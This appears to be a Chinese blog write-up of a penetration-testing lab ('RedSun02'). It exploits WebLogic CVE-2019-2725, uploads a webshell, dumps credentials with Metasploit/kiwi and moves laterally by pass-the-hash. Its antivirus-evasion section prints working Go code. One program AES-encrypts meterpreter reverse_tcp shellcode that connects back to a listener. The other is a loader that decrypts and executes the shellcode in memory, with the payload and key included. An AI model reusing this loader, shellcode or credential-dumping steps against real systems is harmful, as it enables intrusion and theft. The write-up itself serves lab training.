RedSun02

简介

开始时间 : 2024-1-27 20:37

完全渗透 : 2024-1-30 20:37

环境搭建

下次一定记录

信息收集

前提条件是我们已经获取了ip

web 192.168.79.142

那就直接扫描端口

image-20240127205935184

pc主机应该是有防火墙,所以扫描不到(这个后面不作为已知信息)

但是Windwos防火墙防止了ICMP,我们直接no ping 拿下

image-20240127210539172

web渗透

发现142主机有一个web服务

尝试访问

image-20240127210831883

嗯…什么都没有

发现存在445端口,永恒之蓝尝试利用一下

image-20240127214129928

。。。。

都失败

7001是weblogic的端口尝试扫描一下

image-20240127214806454

CVE-2019-2729

ruthlezs/CVE-2019-2729-Exploit: CVE-2019-2729 Exploit Script (github.com)

发现利用失败,但是没有关系

CVE-2019-2725

TopScrew/CVE-2019-2725: CVE-2019-2725命令回显+webshell上传+最新绕过 (github.com)

直接使用java反序列化工具

image-20240127224117123

修改为冰蝎的shell上传成功

image-20240127230940285

上传冰蝎的webshell

image-20240127224350319

image-20240127231023530

成功连接

msf

image-20240128161537058

尝试直接使用msf利用CVE-2019-2725

image-20240130140438141

成功

尝试使用简单的免杀

先生成一个原始的

image-20240130135524058

然后使用下面的脚本进行加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package main

import (
"bytes"
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"fmt"
)

func CheckError(err error) {
if err != nil {
panic(err)
}
}

// 填充字符串(末尾)
func PaddingText1(str []byte, blockSize int) []byte {
//需要填充的数据长度
paddingCount := blockSize - len(str)%blockSize
//填充数据为:paddingCount ,填充的值为:paddingCount
paddingStr := bytes.Repeat([]byte{byte(paddingCount)}, paddingCount)
newPaddingStr := append(str, paddingStr...)
//fmt.Println(newPaddingStr)
return newPaddingStr
}

// DES加密
func EncyptogAES(src, key []byte) []byte {
block, err := aes.NewCipher(key)
if err != nil {
fmt.Println(nil)
return nil
}
src = PaddingText1(src, block.BlockSize())
blockMode := cipher.NewCBCEncrypter(block, key)
blockMode.CryptBlocks(src, src)
return src

}

func main() {
// payload替换
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.81.238 LPORT=6666 -f raw > 6666.bin
// base64 -w 0 -i 6666.bin > b64.txt
// cat b64.txt
str := "/EiD5PDozAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSA+3SkpIi3JQTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0FBEi0AgSQHQi0gY41ZNMclI/8lBizSISAHWSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEFYSAHQQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCACcOwKhPikFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoKQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0Ckn/znXl6JMAAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//Vg/gAflVIg8QgXon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//Vg/gAfShYQVdZaABAAABBWGoAWkG6Cy8PMP/VV1lBunVuTWH/1Un/zuk8////SAHDSCnGSIX2dbRB/+dYagBZScfC8LWiVv/V "
// 密钥长度16
key := []byte("PuamRHUGPRzstnCJ")
src := EncyptogAES([]byte(str), key)
base64Str := base64.StdEncoding.EncodeToString(src)
fmt.Println("加密后的数据为:", base64Str)
}

然后将加密之后的值放入下面的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package main

import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"fmt"
"syscall"
"unsafe"
)

var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
VirtualAlloc = kernel32.NewProc("VirtualAlloc")
RtlMoveMemory = kernel32.NewProc("RtlMoveMemory")
)

func brun(ddm string) {
sDec, _ := base64.StdEncoding.DecodeString(ddm)
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sDec)), 0x1000|0x2000, 0x40)
_, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sDec[0])), uintptr(len(sDec)))
syscall.Syscall(addr, 0, 0, 0, 0)
}

// 去掉字符(末尾)
func UnPaddingText1(str []byte) []byte {
n := len(str)
count := int(str[n-1])
newPaddingText := str[:n-count]
return newPaddingText
}

// DES解密
func DecrptogAES(src, key []byte) []byte {
block, err := aes.NewCipher(key)
if err != nil {
fmt.Println(nil)
return nil
}
blockMode := cipher.NewCBCDecrypter(block, key)
blockMode.CryptBlocks(src, src)
src = UnPaddingText1(src)
return src
}

func main() {
// 加密后的数据
str := "oMtzMR5FbIOMCr8bt0aChEm20/IZjhgp3ELbwsrN75EjSEwisnTuDdr5xhad607G9CUY8oDEbvSeZ4abFEzQ0ZzwTTnqPcDaVhN44m1+1STQFL3SxFNfXn9JXgNTUTA3KoXCzznA5YfhgHBVmjMQncgUexzC+w4zDusjgPQu9qtw63rg9MD+JpWUnvYmFveZAoBPRP1OgfS7V6fJrJ0Z0vvhcnWTqyVwf5Em3Zz12FHZPBd7gYunBZf1T2R6sKcIfz0Dd+9ChKv86byq8T/YA7/qhhvnTmI6Kb/MyEXKf4D75KLrxB69LbnGYvb/xg1jAhckcbUCR7C7AtPRxcc70ZTMM+kax3Qy0ixB149wk/mHhROUAriLNgi8jqoGDZsSOB2uFay5ERCvoU3mAGZBTCZ0yyvzPZm0AO8zFcvudXFrXzNg0Vs7ozhs6qM3XvXIojhM1ebdUZwEU6UK8q/jlPId/wPT72eEoJwOA14v0Zhalvfi71X6DtQIyvSirU+gZtJYNjTUqPMoVriLLJQL73t2DTHeFY1R2DhtDN8cNL5qc0T0sW0uRB0WD8Kj83yl/HX3OXJlS2Xtrr9wryikQCoetRBn9HnGVYD1n29QoWTM4RII7qhNTcRqKTwu1+FZ608K8WTg9QsNCoCCYj7B8WoiZbZTPUuP93SxK77A7F2NFnVZVpN1WUH5PIfvw6An2cRTCGvczEUa9N/nmPox04YzYMKnTK1/vF3nCaVoiM5X02QfIUbzVS6iSr745FDrTrVlN48wJJWeWX5ZSYSDOh7g6RiHqOAGjOL0GIcHKRwF1cHOIjH4cMvxpMKJXnkiYyyHKsPjZtt3dpx6X5inqZRRZzQY8hbeBd1XYO87I3W0B8l9XyJNAOMg6Z+i0UBlByhUX3AUko33rydD2ZdY+Q=="
// 16位密钥
key := []byte("PuamRHUGPRzstnCJ")
base_byte, _ := base64.StdEncoding.DecodeString(str)
brun(string(DecrptogAES(base_byte, key)))
}

经尝试,免杀使用冰蝎执行的时候会被杀,但是是点击执行就不会

开启msf代理,这里先尝试使用stowaway,果然还是不行,只要是使用虚拟终端执行的,貌似都会被查杀

尝试免杀的代理软件都会直接被查杀

那就直接使用msf的代理,也就卡了亿点

1
meterpreter > run autoroute -s 10.10.10.1/24
1
2
3
4
msf6 exploit(windows/local/payload_inject) > search socks
msf6 exploit(windows/local/payload_inject) > use 0
msf6 auxiliary(server/socks_proxy) > show options
run

cs

可以尝试冰蝎传给cs(后面发现连接失败)

一开始连接weblogic就炸(黑人)

我使用msf传给cs,熟练一下操作

1
2
3
4
5
6
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set lhost IP
set lport PORT
set session

image-20240130150426106

内网信息收集

  1. 查看Web所在的网段

    image-20240128181132606

  2. 扫描一下存活的主机情况

    image-20240130152055163

  3. 提取密码+提权

    • msf

      1
      2
      3
      4
      5
      6
      getuid     # 获取当前身份
      hashdump # 获取hash
      getsystem # 获取system
      load kiwi # 加载mimikatz
      creds_all # 获取明文密码
      lsa_dump_sam # 获取sam数据库

      image-20240130153829548

    • cs

      看大佬的wp好像提权不了但是我直接提权成功了

      image-20240130153841783

  4. 收集每一个主机的端口信息

    已经控制的Web ip 10.10.10.134

    • 10.10.10.10
    • 10.10.10.201
  5. 由于前面的信息收集发现存在3389尝试利用(想换一个代理)

    由于msf代理扫描端口太慢了,所以尝试能不能使用其他用户直接执行

    image-20240130154956456

    不敢改

    尝试使用域用户登录

    基本都是已过期,或者未授权

    在有杀软的情况下不能创建新用户

  6. 用户收集

    msf乱码

    image-20240130155337852

    image-20240130155444628

  7. 尝试创建新用户

    在system权限之下

    image-20240130155905475
    上帝视角看是被阻拦了

  8. 杀软信息收集

    1
    tasklist /SVC

    Windows杀软在线查询 (ddosi.org)

    image-20240130160113001

  9. 补丁

    image-20240130173445591

横向移动

要出现这个必须使用cs的端口扫描才行

image-20240130170119738

计划是先针对双网卡的,先尝试利用还有一个有外网ip的主机

10.10.10.10

image-20240130172850975

445

著名的永恒之蓝

image-20240130173747037

尝试都失败了

3389

还是和上面的一样

hash传递

添加一个smb隧道

image-20240130201814784

image-20240130201859575

image-20240130201743638

10.10.10.201

hash传递

同上

只不过得换一个模式

image-20240130203514585


RedSun02
https://tsy244.github.io/2024/01/27/靶场记录/RedSun02/
Author
August Rosenberg
Posted on
January 27, 2024
Licensed under